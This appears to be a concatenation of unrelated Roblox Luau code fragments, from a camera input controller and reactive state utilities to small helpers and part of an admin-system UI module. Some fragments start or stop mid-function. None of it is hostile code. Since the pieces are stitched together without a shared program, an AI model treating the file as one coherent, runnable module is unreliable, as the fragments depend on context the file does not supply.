return Vector2.new(horizontalShift, vertShift) end return nil end local OnTouchTap = nil if not touchWorkspaceEventEnabled then OnTouchTap = function(position) if isDynamicThumbstickEnabled and not IsAToolEquipped then if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then local tween = { from = this:GetCameraZoom(), to = DefaultZoom, start = tick(), duration = 0.2, func = function(from, to, alpha) this:ZoomCamera(from + (to - from)*alpha) return to end } tweens["Zoom"] = tween else local humanoid = this:GetHumanoid() if humanoid then local player = PlayersService.LocalPlayer if player and player.Character then if humanoid and humanoid.Torso then local tween = { from = this.RotateInput, to = calcLookBehindRotateInput(humanoid.Torso), start = tick(), duration = 0.2, func = function(from, to, alpha) to = calcLookBehindRotateInput(humanoid.Torso) if to then this.RotateInput = from + (to - from)*alpha end return to end } tweens["Rotate"] = tween -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end end end lastTapTime = tick() end end end local function IsTouchTap(input) -- We can't make the assumption that the input exists in the inputStartPositions because we may have switched from a different camera type. if inputStartPositions[input] then local posDelta = (inputStartPositions[input] - input.Position).magnitude if posDelta < MAX_TAP_POS_DELTA then local timeDelta = inputStartTimes[input] - tick() if timeDelta < MAX_TAP_TIME_DELTA then return true end end end return false end local function OnTouchEnded(input, processed) if fingerTouches[input] == false then if NumUnsunkTouches == 1 then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false if not touchWorkspaceEventEnabled and IsTouchTap(input) then OnTouchTap(input.Position) end elseif NumUnsunkTouches == 2 then StartingDiff = nil pinchBeginZoom = nil end end if fingerTouches[input] ~= nil and fingerTouches[input] == false then NumUnsunkTouches = NumUnsunkTouches - 1 end fingerTouches[input] = nil inputStartPositions[input] = nil inputStartTimes[input] = nil end local function OnMousePanButtonPressed(input, processed) if processed then return end this:UpdateMouseBehavior() panBeginLook = panBeginLook or this:GetCameraLook() startPos = startPos or input.Position lastPos = lastPos or startPos this.UserPanningTheCamera = true end local function OnMousePanButtonReleased(input, processed) this:UpdateMouseBehavior() if not (isRightMouseDown or isMiddleMouseDown) then panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false end end local function OnMouse2Down(input, processed) if processed then return end isRightMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse2Up(input, processed) isRightMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouse3Down(input, processed) if processed then return end isMiddleMouseDown = true OnMousePanButtonPressed(input, processed) end local function OnMouse3Up(input, processed) isMiddleMouseDown = false OnMousePanButtonReleased(input, processed) end local function OnMouseMoved(input, processed) if not hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * GameSettings:GetCameraYInvertValue()) if startPos and lastPos and panBeginLook then local currPos = lastPos + input.Delta local totalTrans = currPos - startPos if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end lastPos = currPos elseif this:IsInFirstPerson() or this:GetShiftLock() then if this.PanEnabled then local desiredXYVector = this:MouseTranslationToAngle(inputDelta) * MOUSE_SENSITIVITY this.RotateInput = this.RotateInput + desiredXYVector end end end local function OnMouseWheel(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if not processed then if this.ZoomEnabled then this:ZoomCameraBy(clamp(-1, 1, -input.Position.Z) * 1.4) end end end local function round(num) return math_floor(num + 0.5) end local eight2Pi = math_pi / 4 local function rotateVectorByAngleAndRound(camLook, rotateAngle, roundAmount) if camLook ~= ZERO_VECTOR3 then camLook = camLook.unit local currAngle = math_atan2(camLook.z, camLook.x) local newAngle = round((math_atan2(camLook.z, camLook.x) + rotateAngle) / roundAmount) * roundAmount return newAngle - currAngle end return 0 end local function OnKeyDown(input, processed) if not hasGameLoaded and VRService.VREnabled then return end if processed then return end if this.ZoomEnabled then if input.KeyCode == Enum.KeyCode.I then this:ZoomCameraBy(-5) elseif input.KeyCode == Enum.KeyCode.O then this:ZoomCameraBy(5) end end if panBeginLook == nil and this.KeyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = true elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = true elseif input.KeyCode == Enum.KeyCode.Comma then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), -eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.Period then local angle = rotateVectorByAngleAndRound(this:GetCameraLook() * Vector3.new(1,0,1), eight2Pi * (3/4), eight2Pi) if angle ~= 0 then this.RotateInput = this.RotateInput + Vector2.new(angle, 0) this.LastUserPanCamera = tick() this.LastCameraTransform = nil end elseif input.KeyCode == Enum.KeyCode.PageUp then --elseif input.KeyCode == Enum.KeyCode.Home then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(15)) this.LastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then --elseif input.KeyCode == Enum.KeyCode.End then this.RotateInput = this.RotateInput + Vector2.new(0,math.rad(-15)) this.LastCameraTransform = nil end end end local function OnKeyUp(input, processed) if input.KeyCode == Enum.KeyCode.Left then this.TurningLeft = false elseif input.KeyCode == Enum.KeyCode.Right then this.TurningRight = false end end local lastThumbstickRotate = nil local numOfSeconds = 0.7 local currentSpeed = 0 local maxSpeed = 6 local vrMaxSpeed = 4 local lastThumbstickPos = Vector2.new(0,0) local ySensitivity = 0.65 local lastVelocity = nil -- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t) t = clamp(-1,1,t) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end -- DEADZONE local DEADZONE = 0.1 local function toSCurveSpace(t) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t) return t/2 + 0.5 end local function gamepadLinearToCurve(thumbstickPosition) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return clamp(-1, 1, point) end return Vector2_new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end function this:UpdateGamepad() local gamepadPan = this.GamepadPanningCamera if gamepadPan and (hasGameLoaded or not VRService.VREnabled) then gamepadPan = gamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then this.userPanningTheCamera = true elseif gamepadPan == ZERO_VECTOR2 then lastThumbstickRotate = nil if lastThumbstickPos == ZERO_VECTOR2 then currentSpeed = 0 end end local finalConstant = 0 if lastThumbstickRotate then if VRService.VREnabled then currentSpeed = vrMaxSpeed else local elapsedTime = (currentTime - lastThumbstickRotate) * 10 currentSpeed = currentSpeed + (maxSpeed * ((elapsedTime*elapsedTime)/numOfSeconds)) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end if lastVelocity then local velocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) local velocityDeltaMag = (velocity - lastVelocity).magnitude if velocityDeltaMag > 12 then currentSpeed = currentSpeed * (20/velocityDeltaMag) if currentSpeed > maxSpeed then currentSpeed = maxSpeed end end end end local success, gamepadCameraSensitivity = pcall(function() return GameSettings.GamepadCameraSensitivity end) finalConstant = success and (gamepadCameraSensitivity * currentSpeed) or currentSpeed lastVelocity = (gamepadPan - lastThumbstickPos)/(currentTime - lastThumbstickRotate) end lastThumbstickPos = gamepadPan lastThumbstickRotate = currentTime return Vector2_new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * ySensitivity * GameSettings:GetCameraYInvertValue()) end return ZERO_VECTOR2 end local InputBeganConn, InputChangedConn, InputEndedConn, MenuOpenedConn, ShiftLockToggleConn, GamepadConnectedConn, GamepadDisconnectedConn, TouchActivateConn = nil, nil, nil, nil, nil, nil, nil, nil function this:DisconnectInputEvents() if InputBeganConn then InputBeganConn:disconnect() InputBeganConn = nil end if InputChangedConn then InputChangedConn:disconnect() InputChangedConn = nil end if InputEndedConn then InputEndedConn:disconnect() InputEndedConn = nil end if MenuOpenedConn then MenuOpenedConn:disconnect() MenuOpenedConn = nil end if ShiftLockToggleConn then ShiftLockToggleConn:disconnect() ShiftLockToggleConn = nil end if GamepadConnectedConn then GamepadConnectedConn:disconnect() GamepadConnectedConn = nil end if GamepadDisconnectedConn then GamepadDisconnectedConn:disconnect() GamepadDisconnectedConn = nil end if subjectStateChangedConn then subjectStateChangedConn:disconnect() subjectStateChangedConn = nil end if workspaceChangedConn then workspaceChangedConn:disconnect() workspaceChangedConn = nil end if TouchActivateConn then TouchActivateConn:disconnect() TouchActivateConn = nil end this.TurningLeft = false this.TurningRight = false this.LastCameraTransform = nil self.LastSubjectCFrame = nil this.UserPanningTheCamera = false this.RotateInput = Vector2.new() this.GamepadPanningCamera = Vector2.new(0,0) -- Reset input states startPos = nil lastPos = nil panBeginLook = nil isRightMouseDown = false isMiddleMouseDown = false fingerTouches = {} NumUnsunkTouches = 0 StartingDiff = nil pinchBeginZoom = nil -- Unlock mouse for example if right mouse button was being held down if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end function this:ResetInputStates() isRightMouseDown = false isMiddleMouseDown = false OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject, value in pairs(fingerTouches) do fingerTouches[inputObject] = nil end panBeginLook = nil startPos = nil lastPos = nil this.UserPanningTheCamera = false StartingDiff = nil pinchBeginZoom = nil NumUnsunkTouches = 0 end end function this.getGamepadPan(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then if state == Enum.UserInputState.Cancel then this.GamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then this.GamepadPanningCamera = Vector2_new(input.Position.X, -input.Position.Y) else this.GamepadPanningCamera = ZERO_VECTOR2 end end end function this.doGamepadZoom(name, state, input) if input.UserInputType == this.activeGamepad and input.KeyCode == Enum.KeyCode.ButtonR3 and state == Enum.UserInputState.Begin then if this.ZoomEnabled then if this:GetCameraZoom() > 0.5 then this:ZoomCamera(0) else this:ZoomCamera(10) end end end end function this:BindGamepadInputActions() ContextActionService:BindAction("RootCamGamepadPan", this.getGamepadPan, false, Enum.KeyCode.Thumbstick2) ContextActionService:BindAction("RootCamGamepadZoom", this.doGamepadZoom, false, Enum.KeyCode.ButtonR3) end function this:ConnectInputEvents() InputBeganConn = UserInputService.InputBegan:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchBegan(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Down(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Down(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyDown(input, processed) end end) InputChangedConn = UserInputService.InputChanged:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchChanged(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseMovement then OnMouseMoved(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseWheel then OnMouseWheel(input, processed) end end) InputEndedConn = UserInputService.InputEnded:connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then OnTouchEnded(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton2 then OnMouse2Up(input, processed) elseif input.UserInputType == Enum.UserInputType.MouseButton3 then OnMouse3Up(input, processed) end -- Keyboard if input.UserInputType == Enum.UserInputType.Keyboard then OnKeyUp(input, processed) end end) if touchWorkspaceEventEnabled then TouchActivateConn = UserInputService.TouchTapInWorld:connect(function(touchPos, processed) if isDynamicThumbstickEnabled and not processed and not IsAToolEquipped and positionIntersectsGuiObject(touchPos, GestureArea) then if lastTapTime and tick() - lastTapTime < MAX_TIME_FOR_DOUBLE_TAP then local tween = { from = this:GetCameraZoom(), to = DefaultZoom, start = tick(), duration = 0.2, func = function(from, to, alpha) this:ZoomCamera(from + (to - from)*alpha) return to end } tweens["Zoom"] = tween else local humanoid = this:GetHumanoid() if humanoid then local player = PlayersService.LocalPlayer if player and player.Character then if humanoid and humanoid.Torso then local tween = { from = this.RotateInput, to = calcLookBehindRotateInput(humanoid.Torso), start = tick(), duration = 0.2, func = function(from, to, alpha) to = calcLookBehindRotateInput(humanoid.Torso) if to then this.RotateInput = from + (to - from)*alpha end return to end } tweens["Rotate"] = tween -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end end end end lastTapTime = tick() end end) end MenuOpenedConn = GuiService.MenuOpened:connect(function() this:ResetInputStates() end) workspaceChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end ShiftLockToggleConn = ShiftLockController.OnShiftLockToggled.Event:connect(function() this:UpdateMouseBehavior() end) this.RotateInput = Vector2.new() this.activeGamepad = nil local function assignActivateGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() if #connectedGamepads > 0 then for i = 1, #connectedGamepads do if this.activeGamepad == nil then this.activeGamepad = connectedGamepads[i] elseif connectedGamepads[i].Value < this.activeGamepad.Value then this.activeGamepad = connectedGamepads[i] end end end if this.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1 this.activeGamepad = Enum.UserInputType.Gamepad1 end end GamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum) if this.activeGamepad ~= gamepadEnum then return end this.activeGamepad = nil assignActivateGamepad() end) GamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum) if this.activeGamepad == nil then assignActivateGamepad() end end) self:BindGamepadInputActions() assignActivateGamepad() -- set mouse behavior self:UpdateMouseBehavior() end --Process tweens related to tap-to-recenter and double-tap-to-zoom --Needs to be called from specific cameras on each update function this:ProcessTweens() for name, tween in pairs(tweens) do local alpha = math.min(1.0, (tick() - tween.start)/tween.duration) tween.to = tween.func(tween.from, tween.to, alpha) if math.abs(1 - alpha) < 0.0001 then tweens[name] = nil end end end function this:SetEnabled(newState) if newState ~= self.Enabled then self.Enabled = newState if self.Enabled then self:ConnectInputEvents() self.cframe = workspace.CurrentCamera.CFrame else self:DisconnectInputEvents() end end end local function OnPlayerAdded(player) player.Changed:connect(function(prop) if this.Enabled then if prop == "CameraMode" or prop == "CameraMaxZoomDistance" or prop == "CameraMinZoomDistance" then this:ZoomCameraFixedBy(0) end end end) local function OnCharacterAdded(newCharacter) local humanoid = findPlayerHumanoid(player) local start = tick() while tick() - start < 0.3 and (humanoid == nil or humanoid.Torso == nil) do wait() humanoid = findPlayerHumanoid(player) end if humanoid and humanoid.Torso and player.Character == newCharacter then local newDesiredLook = (humanoid.Torso.CFrame.lookVector - Vector3.new(0,0.23,0)).unit local horizontalShift = findAngleBetweenXZVectors(newDesiredLook, this:GetCameraLook()) local vertShift = math.asin(this:GetCameraLook().y) - math.asin(newDesiredLook.y) if not IsFinite(horizontalShift) then horizontalShift = 0 end if not IsFinite(vertShift) then vertShift = 0 end this.RotateInput = Vector2.new(horizontalShift, vertShift) -- reset old camera info so follow cam doesn't rotate us this.LastCameraTransform = nil end -- Need to wait for camera cframe to update before we zoom in -- Not waiting will force camera to original cframe wait() this:ZoomCamera(this.DefaultZoom) end player.CharacterAdded:connect(function(character) if this.Enabled or SetCameraOnSpawn then OnCharacterAdded(character) SetCameraOnSpawn = false end end) if player.Character then spawn(function() OnCharacterAdded(player.Character) end) end end if PlayersService.LocalPlayer then OnPlayerAdded(PlayersService.LocalPlayer) end PlayersService.ChildAdded:connect(function(child) if child and PlayersService.LocalPlayer == child then OnPlayerAdded(PlayersService.LocalPlayer) end end) local function OnGameLoaded() hasGameLoaded = true end spawn(function() if game:IsLoaded() then OnGameLoaded() else game.Loaded:wait() OnGameLoaded() end end) local function OnDynamicThumbstickEnabled() if UserInputService.TouchEnabled then isDynamicThumbstickEnabled = true end end local function OnDynamicThumbstickDisabled() isDynamicThumbstickEnabled = false end local function OnGameSettingsTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then if GameSettings.TouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnDynamicThumbstickDisabled() end end end local function OnDevTouchMovementModeChanged() if LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then OnDynamicThumbstickEnabled() else OnGameSettingsTouchMovementModeChanged() end end if PlayersService.LocalPlayer then PlayersService.LocalPlayer.Changed:Connect(function(prop) if prop == "DevTouchMovementMode" then OnDevTouchMovementModeChanged() end end) OnDevTouchMovementModeChanged() end GameSettings.Changed:Connect(function(prop) if prop == "TouchMovementMode" then OnGameSettingsTouchMovementModeChanged() end end) OnGameSettingsTouchMovementModeChanged() GameSettings:SetCameraYInvertVisible() pcall(function() GameSettings:SetGamepadCameraSensitivityVisible() end) return this end return CreateCamera
--[[ Creates a Symbol with the given name. When printed or coerced to a string, the symbol will turn into the string given as its name. ]]
function Symbol.named(name) assert(type(name) == "string", "Symbols must be created using a string name!") local self = newproxy(true) local wrappedName = ("Symbol(%s)"):format(name) getmetatable(self).__tostring = function() return wrappedName end return self end
--[[** ensures Roblox TweenInfo type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.TweenInfo = primitive("TweenInfo")
-- ALEX WAS HERE LOL
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local u2 = Random.new(); return function(...) local v1 = { ... }; if type(v1[1][1]) == "table" then v1 = u1.Functions.CloneTable(v1[1]); end; if #v1 < 2 then return v1[1][1], nil, 100; end; local u3 = nil; (function() local v2 = 0; for v3, v4 in ipairs(v1) do v2 = v2 + v4[2]; end; for v5, v6 in ipairs(v1) do local v7 = v6[2]; v6[2] = v7 / v2; v6[3] = v7; end; end)(); u3 = u2:NextNumber(); local v8 = (function() local v9 = 0; for v10, v11 in ipairs(v1) do v9 = v9 + v11[2]; if u3 <= v9 then return v11; end; end; end)(); return v8[1], u3, v8[2]; end;
--[=[ Maps the input brios to the output observables @since 3.6.0 @param project project (Brio<T> | T) -> Brio<U> | U @return (source: Observable<Brio<T> | T>) -> Observable<Brio<U>> ]=]
function RxBrioUtils.map(project) return Rx.map(function(...) local n = select("#", ...) local brios = {} local args if n == 1 then if Brio.isBrio(...) then table.insert(brios, (...)) args = (...):GetPackedValues() else args = {[1] = ...} end else args = {} for index, item in pairs({...}) do if Brio.isBrio(item) then table.insert(brios, item) args[index] = item:GetValue() -- we lose data here, but I think this is fine else args[index] = item end end args.n = n end local results = table.pack(project(table.unpack(args, 1, args.n))) local transformedResults = {} for i=1, results.n do local item = results[i] if Brio.isBrio(item) then table.insert(brios, item) -- add all subsequent brios into this table... transformedResults[i] = item:GetValue() else transformedResults[i] = item end end return BrioUtils.first(brios, table.unpack(transformedResults, 1, transformedResults.n)) end) end function RxBrioUtils._mapResult(brio) return function(...) local n = select("#", ...) if n == 0 then return BrioUtils.withOtherValues(brio) elseif n == 1 then if Brio.isBrio(...) then return BrioUtils.first({brio, (...)}, (...):GetValue()) else return BrioUtils.withOtherValues(brio, ...) end else local brios = { brio } local args = {} for index, item in pairs({...}) do if Brio.isBrio(item) then table.insert(brios, item) args[index] = item:GetValue() -- we lose data here, but I think this is fine else args[index] = item end end return BrioUtils.first(brios, unpack(args, 1, n)) end end end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Purity.Value > -30 end
-- Pull maps from Maps.
for i, map in ipairs(OwnerMapInstallFolder:GetChildren()) do InstallMap(map) end OwnerMapInstallFolder.ChildAdded:Connect(function(map) wait() InstallMap(map) end)
-- @ModuleDescription Library containing other small function useful for programming.
local System = require(game.ReplicatedStorage.System) local Module = {} Module.Replicated = true local HTTPService = game:GetService("HttpService") function Module.Rotate(t) local output = {{}, {}, {}} for i, row in pairs(t) do for j = 1,3 do output[j][4-i] = row[j] end end return output end function Module.Compare(arr1, arr2) : boolean local a1 = HTTPService:JSONEncode(arr1) local a2 = HTTPService:JSONEncode(arr2) return a1 == a2 end return Module
--[[function util.Tween(part,info,goal) local tween = game:GetService("TweenService"):Create(part,info,goal) return tween end]]
-- function util.Tween(tbl) -- util.Tween( { part , { Position = Vector3.new(0,0,0) } , 2 , "Linear" , "Out" , 0 , false, 0 } ) local parent,property,ttime,easingstyle,easingdirect,repeattime,reversable,delay = tbl[1],tbl[2],tbl[3] or 1,tbl[4] or "Linear",tbl[5] or "InOut",tbl[6] or 0,tbl[7] or false,tbl[8] or 0 local ntw = game:GetService("TweenService"):Create(parent,TweenInfo.new(ttime,Enum.EasingStyle[easingstyle].Value,Enum.EasingDirection[easingdirect].Value,repeattime,reversable,delay),property) return ntw end function util.Sound(npar,sID,vol,pitch,looped) local par = npar or workspace local sound = Instance.new("Sound") sound.Parent = par sound.Volume = vol or 1 if sID then sound.SoundId = "rbxassetid://" .. tostring(sID) end sound.Looped = looped or false sound.Pitch = pitch or 1 return sound end
--[[ Called when the original table is changed. This will firstly find any values meeting any of the following criteria: - they were not previously present - a dependency used during generation of this value has changed It will recalculate those values, storing information about any dependencies used in the processor callback during value generation, and save the new value to the output array with the same key. If it is overwriting an older value, that older value will be passed to the destructor for cleanup. Finally, this function will find values that are no longer present, and remove their values from the output table and pass them to the destructor. You can re-use the same value multiple times and this will function will update them as little as possible; reusing the same values where possible. ]]
function class:update(): boolean local inputIsState = self._inputIsState local inputTable = if inputIsState then self._inputTable:get(false) else self._inputTable local outputValues = {} local didChange = false -- clean out value cache self._oldValueCache, self._valueCache = self._valueCache, self._oldValueCache local newValueCache = self._valueCache local oldValueCache = self._oldValueCache table.clear(newValueCache) -- clean out main dependency set for dependency in pairs(self.dependencySet) do dependency.dependentSet[self] = nil end self._oldDependencySet, self.dependencySet = self.dependencySet, self._oldDependencySet table.clear(self.dependencySet) -- if the input table is a state object, add it as a dependency if inputIsState then self._inputTable.dependentSet[self] = true self.dependencySet[self._inputTable] = true end -- STEP 1: find values that changed or were not previously present for inKey, inValue in pairs(inputTable) do -- check if the value is new or changed local oldCachedValues = oldValueCache[inValue] local shouldRecalculate = oldCachedValues == nil -- get a cached value and its dependency/meta data if available local value, valueData, meta if type(oldCachedValues) == "table" and #oldCachedValues > 0 then local valueInfo = table.remove(oldCachedValues, #oldCachedValues) value = valueInfo.value valueData = valueInfo.valueData meta = valueInfo.meta if #oldCachedValues <= 0 then oldValueCache[inValue] = nil end elseif oldCachedValues ~= nil then oldValueCache[inValue] = nil shouldRecalculate = true end if valueData == nil then valueData = { dependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE), oldDependencySet = setmetatable({}, utility.WEAK_KEYS_METATABLE), dependencyValues = setmetatable({}, utility.WEAK_KEYS_METATABLE), } end -- check if the value's dependencies have changed if shouldRecalculate == false then for dependency, oldValue in pairs(valueData.dependencyValues) do if oldValue ~= dependency:get(false) then shouldRecalculate = true break end end end -- recalculate the output value if necessary if shouldRecalculate then valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet table.clear(valueData.dependencySet) local processOK, newOutValue, newMetaValue = Dependencies.captureDependencies( valueData.dependencySet, self._processor, inValue ) if processOK then if self._destructor == nil and (utility.needsDestruction(newOutValue) or utility.needsDestruction(newMetaValue)) then warn("destructorNeededForValues") end -- pass the old value to the destructor if it exists if value ~= nil then local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, value, meta) if not destructOK then warn("forValuesDestructorError", err) end end -- store the new value and meta data value = newOutValue meta = newMetaValue didChange = true else -- restore old dependencies, because the new dependencies may be corrupt valueData.oldDependencySet, valueData.dependencySet = valueData.dependencySet, valueData.oldDependencySet warn("forValuesProcessorError", newOutValue) end end -- store the value and its dependency/meta data local newCachedValues = newValueCache[inValue] if newCachedValues == nil then newCachedValues = {} newValueCache[inValue] = newCachedValues end table.insert(newCachedValues, { value = value, valueData = valueData, meta = meta, }) outputValues[inKey] = value -- save dependency values and add to main dependency set for dependency in pairs(valueData.dependencySet) do valueData.dependencyValues[dependency] = dependency:get(false) self.dependencySet[dependency] = true dependency.dependentSet[self] = true end end -- STEP 2: find values that were removed -- for tables of data, we just need to check if it's still in the cache for _oldInValue, oldCachedValueInfo in pairs(oldValueCache) do for _, valueInfo in ipairs(oldCachedValueInfo) do local oldValue = valueInfo.value local oldMetaValue = valueInfo.meta local destructOK, err = xpcall(self._destructor or utility.cleanup, utility.parseError, oldValue, oldMetaValue) if not destructOK then warn("forValuesDestructorError", err) end didChange = true end table.clear(oldCachedValueInfo) end self._outputTable = outputValues return didChange end local function ForValues<VO, M>( inputTable, processor: (value: any) -> (VO, M?), destructor: (VO, M?) -> ()? ) local inputIsState = inputTable.type == "State" and typeof(inputTable.get) == "function" local self = setmetatable({ type = "State", kind = "ForValues", dependencySet = {}, -- if we held strong references to the dependents, then they wouldn't be -- able to get garbage collected when they fall out of scope dependentSet = setmetatable({}, utility.WEAK_KEYS_METATABLE), _oldDependencySet = {}, _processor = processor, _destructor = destructor, _inputIsState = inputIsState, _inputTable = inputTable, _outputTable = {}, _valueCache = {}, _oldValueCache = {}, }, CLASS_METATABLE) self:update() return self end return ForValues
--// Processing
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local UIFolder = client.UIFolder local script = script local service = Vargs.Service local client = Vargs.Client local GetEnv = GetEnv local Anti, Core, Functions, Process, Remote, UI, Variables, Deps local CloneTable, TrackTask local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Deps = client.Deps; CloneTable = service.CloneTable; TrackTask = service.TrackTask; UI.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] UI.DefaultTheme = Remote.Get("Setting","DefaultTheme"); UI.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.UI = { Init = Init; RunLast = RunLast; GetHolder = function() if UI.Holder and UI.Holder.Parent == service.PlayerGui then return UI.Holder else pcall(function()if UI.Holder then UI.Holder:Destroy()end end) local new = service.New("ScreenGui", { Name = Functions.GetRandom(), Parent = service.PlayerGui, }); UI.Holder = new return UI.Holder end end; Prepare = function(gui) if true then return gui end --// Disabled local gTable = UI.Get(gui,false,true) if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then local new = Instance.new("TextLabel") new.BackgroundTransparency = 1 new.Size = UDim2.new(1,0,1,0) new.Name = gui.Name new.Active = true new.Text = "" for ind,child in ipairs(gui:GetChildren()) do child.Parent = new end if gTable then gTable:Register(new) end gui:Destroy() return new else return gui end end; LoadModule = function(module, data, env) data = data or {} local ran, func = pcall(require, module) local newEnv = GetEnv(env, { script = module, }) newEnv.client = CloneTable(client) newEnv.service = CloneTable(service) newEnv.service.Threads = CloneTable(service.Threads) for i,v in pairs(newEnv.client) do if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then newEnv.client[i] = CloneTable(v) end end if ran then local rets = { TrackTask("UI: ".. module:GetFullName(), if data.modNoEnv or data.NoEnv then func else setfenv(func,newEnv), data, newEnv ) } if rets[1] then return unpack(rets, 2) else warn("Error while running module", module.Name, rets[2]) client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2])) end else warn("Error while loading module", module.Name, tostring(func)) end end; GetNew = function(theme, name) local foundConfigs = {} local endConfig = {} local endConfValues = {} local confFolder = Instance.new("Folder") local debounce = false local function func(theme, name, depth) local depth = (depth or 11) - 1 local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default if folder then local baseValue = folder:FindFirstChild("Base_Theme") local baseTheme = baseValue and baseValue.Value local foundGUI = 